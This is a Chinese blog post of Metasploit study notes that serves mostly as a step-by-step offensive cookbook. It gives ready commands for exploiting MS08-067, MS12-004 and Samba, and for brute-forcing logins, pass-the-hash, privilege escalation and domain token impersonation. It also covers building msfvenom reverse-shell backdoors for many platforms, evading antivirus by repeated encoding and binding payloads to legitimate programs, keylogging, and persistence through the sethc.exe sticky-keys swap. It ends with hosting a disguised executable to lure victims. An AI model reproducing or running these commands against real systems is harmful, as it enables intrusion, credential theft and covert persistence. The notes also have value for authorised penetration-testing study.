msf学习笔记

发布时间:2023年12月23日

渗透工具使用指南

·? 序言

·? ·? 信息收集工具

·? ·? 漏洞扫描(分析)

·? 抓包改包

·? Burpsuite

·? ·? Fiddler

·? 漏洞利用

·? Hydra

·? ·? Metasploit

·? ·? SQLmap

·? ·? Beef

·? ·? antSword

本文档使用 看云 构建

Metasploit

metasploit体系如下:

基础库文件(Libraris):提供了核心框架和一些基础功能的支持

模块(Modules):实现渗透测试功能的主体代码

插件(Plugins):将外部的集成工具集成到框架中

用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能

1.基础库文件

位于源码根目录下的libraries目录中。

Rex:基础组件网络套接字,网络应用协议客户端与服务端实现、日志子系统、渗透攻击例程、数据库支持

core负责实现与各种类型的上层模块及插件的交互接口

base库扩展了core,提供更简单的包装例程支持用户接口与功能程序调用框架功能及集成模块

2.模块

辅助模块(Aux):网络服务的扫描查点、口令猜解、敏感信息嗅探、Fuzz测试发掘漏洞、网络协议欺骗

渗透攻击模块(Exploits)

后渗透攻击模块(Post)

攻击载荷模块(Payloads)

空指令模块(Nops)

编码器模块(Encoders)

3.插件

将Nmap、Neuss等功能集成到metasploit中

4.接口

msfconsle控制台终端

msfcli命令行

msfgui图形化界面

armitage图形化界面

msfapi远程调用接口

5.功能程序

一系列可以直接运行的程序功能,支持安全研究员快速的利用Metasploit框架内部能力完成一些特定功能

console的使用

service postgresql start //先连接数据库

msfconsole? //打开框架

msf>help? //显示msf所支持的命令列表

msf>db_status[lc1]?? //查看是否成功连接数据库

msf>help search? //显示关于search参数的命令和使用

msf>workspace? //当前工作区

msf6 > workspace -h? //帮助

msf6 > workspace -a lcy? //新增工作区lcy

实例入侵metasploitable靶机

1.search samba搜索模块

2.use multi/samba/usermap_script 使用模块

3.show payloads查看可用的载荷

4.set payload cmd/unix/bind_netcat? 使用载荷

5.show options? 选择载荷可用选项

6.set RHOST 192.168.0.94? 设置载荷的攻击目标IP

7.exploit执行渗透攻击

然后攻击成功会建立一个会话,返回一个可交互的shell

这就是使用metasploit渗透的一个常规流程

网络服务渗透攻击面

Windows平台根据网络服务攻击面的类别来分,可分为三大类

1.针对Windows系统自带网络服务的渗透攻击

NetBios:UDP137、138、TCP139,MS03-034

SMB(服务器消息快):TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用):TCP139、445,MS05-039、MS09-026、

MS08-067 RDP(远程桌面):TCP3389,MS12-020

2.针对Windows系统上微软网络服务的渗透攻击

IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029

3.针对Windows系统上第三方网络服务的渗透攻击

Apache Tomcat? MYSQL? 用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。 经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020

如何使用攻击载荷模块

1.查看载荷信息

info windows/exec? //假设要查看这个载荷的信息

2.管理攻击载荷模块的

Shellcode msfpayload windows/exec CMD=dir C //导出成C语言数组的完整Shellcode。

3.查看Shellcode汇编代码

msfpayload windows/exec CMD=dir R | ndisasm -u

升级和更新

获取新的攻击代码。

进入框架目录更新

cd /usr/share/metasploit-framework/./msfupdate

端口扫描

一、调用nmap扫描

db_nmap -PA -PS[lc2]? 192.168.198.0/24?

msf6 > hosts //查看在线主机

os_name? os_flavor[lc3]?? os_sp? purpose? info? comments

-T 【0-5】:默认为T3 ,T4表示最大TCP扫描延迟是10ms

-sS:TCP SYN

-sA:TCP ACK

-A:打开操作系统和版本探测

--script=vuln? :检查是否有常见漏洞

db_nmap? --script=vuln 192.168.198.1[lc4]?

msf6 > search ms10-061

msf6 > info exploit/windows/smb/ms10_061_spoolss? //查看模块详细信息

使用这个模块:

use 0

查看选项:options

payload是攻击载荷设置

set rhosts 192.168.198.1

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.198.5 ??//设置具体选项

show targets //查看目标机器,一般使用默认id就行,直接run

run? ?//开始扫描,运行

sessions? ?//查看会话状态

background ?//当前session挂起

session -l? //查看所有session

session -i id? //进入session

back 回退

save? 将当前设置保存下来,一边下次启用msf时仍可以使用。

session -u id? //将session 转换为meterpreter渗透工具

二、MSF扫描模块--use auxiliary/scanner/portscan/syn

search portscan? //搜索端口扫描模块

use auxiliary/scanner/portscan/syn? //使用syn扫描模块

show options? //显示模块可操作选项

set ....? //设置具体选项

run? //开始扫描,运行

upload /usr/shre/windows/nc.exe C:\\windows\\system32??? //上传文件

execute -H[lc5]? -i -f cmd.exe

三、SMB扫描获取系统信息

use auxiliary/scanner/smb/smb_version

show optionsset RHOSTS 192.168.1-200

//可以设置单个IP或者范围set THREADS 10 //设置线程

服务识别

SSH

use auxiliary/scanner/ssh/ssh_version

show optionsset RHOSTS 192.168.0.10

//设置多个ip 192.168.0.11 192.168.0.55run

FTP

use auxiliary/scanner/ftp/ftp_versionset RHOSTS *run

密码嗅探

use auxiliary/sniffer/psnufflerun //可以嗅探FTP

SNMP扫描与枚举

search SNMP

use auxiliary/scanner/snmp/snmp_login

show options

set RHOSTS *

枚举

use auxiliary/scanner/snmp/snmp_enumset RHOST *

set THREADS 10

run

SMB登录验证

use auxiliary/scanner/smb/smb_lo

show options

set RHOSTS *

set SMBuser? administrator

set THREADS 10

run

VNC身份认证

use auxiliary/scanner/vnc/vnc_none_auth

show options

set RHOSTS *

set THREADS 50

run

WMAP(轻量级测试工具,检测常见的Web漏洞)

service postgresql start //先启动数据库

msfconsole //再启动msf

db_status? //msf下输入,查看数据库状态 msfdb init可以初始化数据库

load wmap? //载入wmap

wmap_targets -h? //查看帮助

wmap_sites -a http://www.51xkx.cn //添加URL

wmap_sites -l? //查看配置的URL

wmap_targets -t http://121.42.88.105? //添加url对应的IP

wmap_targets -l //查看是否写入成功

wmap_run -h? //查看运行选项

wmap_run -t //选择运行方式,加载

wmap_run -e //开始测试

wmap_vulns -l //扫描完成后查看结果

远程代码执行

search 08-067? (Win 2003、xp)

use exploit/windows/smb/ms08_067_netapi

show options

set RHOST *

show payloads //查看可用攻击载荷

set payload windows/meterpreter/reverse_tcp

show optionsset LHOST * ?// 设置本机IP,如果是攻击外网,本身必须是外网ip

info 或者show targets //查看系统版本信息

set target 17 //设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取)

show options //检查设置

exploit //开始攻击

shell //获取目标cmd-shell

MIDI文件解析远程代码执行

影响范围win2003、winxp、win7

search 12-004

use exploit /windows/browser/ms12_004_midi

show options

set SRVHOST * //设置本机IP

set URIPATH /? //把网址后缀改成'/'

exploit //start exploit

sessions //查看会话

sessions -i 1 //连接会话

shell //连接shell

口令安全

search mysql_login //搜索mysql登录破解利用模块,ssh等可以登陆的也行

use auxiliary/scanner/mysql/mysql_login

show options

set RHOSTS 127.0.0.1*

set USERNAME root

set PASS_FILE /root/1.txt

set THREADS 50

exploit

Hash值传递渗透

1.在不知道密码的情况下

获得meterprete后

meterpreter>hashdumpset smbpass 获取到的hash值

2.在知道密码的情况下

直接登录就行

NDProxy内核提权

获取meterpreter情况下,权限小,用这个洞来提升权限

search 14-002

use exploit/windows/local/ms_ndproxy

show options

set session 1 //选择会话

exploit

getuid //查看当前权限

getsystem //这个命令也可以用来提取

多种后门生成msfvenom

msfvenom是用来生成后门的软件,在本地监听上线

msfvenom 是msfpayload和msfencode的结合

参数:

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目标平台

-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 \'\x0f\'、\'\x00\';

-i, –iterations < count> 指定payload的编码次数

-c, –add-code < path> 指定一个附加的win32 shellcode文件

-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, –out < path> 指定创建好的payload的存放位置

-v, –var-name < name> 指定一个自定义的变量,以确定输出格式

–shellest 最小化生成payload

-h, –help 查看帮助选项

–help-formats 查看msf支持的输出格式列表

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用

msfvenom -p windows/meterpreter/reverse_tcp --list-options

?使用msfvenom --list payloads可查看所有payloads

?使用msfvenom --list encoders可查看所有编码器

metasploit可以生成多钟后门

Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe

Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho

Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php

aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx

JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war

nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js

python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py

perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl

ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb

lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua

windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

———————----------------------------

完整过程

msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip? LPORT=1234 x >123.exe??????

//生成windows后门攻击载荷

ls //查看生成后门所在当前文件夹在

msf监听

search handler

use exploit/multi/handler

show options

set payload windows/meterpreter/reverse_tcp

set LHOST *

set LPORT 1234

exploit

目标运行后门后,会反弹shell

内网渗透

获得shell之后需要对C段进行一次扫描

meterpreter>run get_local_subnets //获取网卡

run autoroute -s 192.168.48.0/24? //扫描整个C段

在shell中执行,net view 查看域

若有域控在meterpreter劫持它的域管理

use incognito? //调用模块

list_tokens -u //查看它都有什么域

impersonate_token 域管理

shell //获得域管理的shell

如果没有域管理

use auxiliary/sniffer/psnufflerun? //嗅探登录密码 FTP

免杀payload

免杀例子

加壳、改壳、花指令、源码免杀、改特征码

首先还是先生成一个后门

msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86

/shikata_ga_nai -t exe >123.exe

//可以多种编码效果更好

msfencode -l //查看有多少可用编码

msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e

x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe

//多次编码

msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode

?-t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20

//绑定正常的文件

多种编码+多次编码+绑定正常的可执行程序

玩转不一样的XSS

search keylogger? //搜索相关模块

use ....javascript_keylogger 那个模块

show options

set DEMO true //启用官方的DEMO

set URIPATH? /?? //伪装url

set srvport 80 //设置服务端口80

run

类似钓鱼网站,记录键盘,感觉没什么卵用

维持访问(种植后门)

meterpreter>run metsvc -A / /种植后门

msf>use exploit/multi/handler

set payload windows/metsvc_bind_tcp

show options

set LPORT 生成后门的端口

set RHOST *

exploit

主动连接到shell,在服务器上才行

第二种方法,键盘记录后门

meterpreter>keyscan_start? //开启键盘记录

meterpreter>keyscan_dump //查看键盘记录结果

第三种shift后门

meterpreter>shell

CD C:\windows\system32

cacls sethc.exe /t /e /G Administrators:f

cacls cmd.exe /t /e /G Administrators:f

ren sethc.exe aaa.exe

ren cmd.exe sethc.exe

使用Metasploit创建反向shell

1.首先创建反向shell
msfvenon -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100
LPORT=4443 -f exe > cute_dolphin.exe
2.创建监听连接器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.100 set lport 4443
set ExitOnSession false
set AutorunScript post/windows/manage/smart_migrate
exploit -j -z
3.kali已经准备就绪,启动Apache程序 service apache2 start
4.然后将恶意文件复制到Web服务器文件夹内
cp cute_dolphin.exe /var/www/html/
5.引诱受害者访问我们的陷阱
http://192.168.0.100/cute_dolphine.exe
6.查看活动连接 sessions
7.如果打算和会话交互,可以使用-i选项
sessions -i 1
8.我们会看到meterpreter连接
可以查看被入侵的系统信息 sysinfo
或者执行系统shell shell

上一篇:Hydra下一篇:SQLmap


?[lc1]msf6 > db_status

[*] postgresql selected, no connection

数据库没连接上,首先退出msfconsole命令状态

msfdb reinit

msfdb start

然后进入msfconsole,重新连接就好了。

?[lc2]-PA:TCP ACK PING 扫描

-PS: TCP SYN PING 扫描

-PR: ARP扫描是namp 对目标进行arp ping 扫描,防火墙不会禁用arp请求

?[lc3]os_flavor(操作系统版本):

os_sp(操作系统服务包):指操作系统所安装的服务包或补丁的版本号。

purpose(用途):描述设备或系统的用途或功能,例如"Web服务器"、"数据库服务器"等。

info(信息):

comment(备注)

?[lc4]|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR:这是Nmap执行的SMB漏洞扫描脚本的结果。SMB是一种用于文件和打印共享的协议,该扫描尝试检测主机上是否存在MS10-061漏洞。然而,由于无法建立SMB连接或接收数据字节,脚本未能成功执行。

?[lc5]-H: 不可见方式执行

-i: 交互方式

-f: 指定要执行的文件

文章来源:https://blog.csdn.net/qq_48257021/article/details/135105477
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。